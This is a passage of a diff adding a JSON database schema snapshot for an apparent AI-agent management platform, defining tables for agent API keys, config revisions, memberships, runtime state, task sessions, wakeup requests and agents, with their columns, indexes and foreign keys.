+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
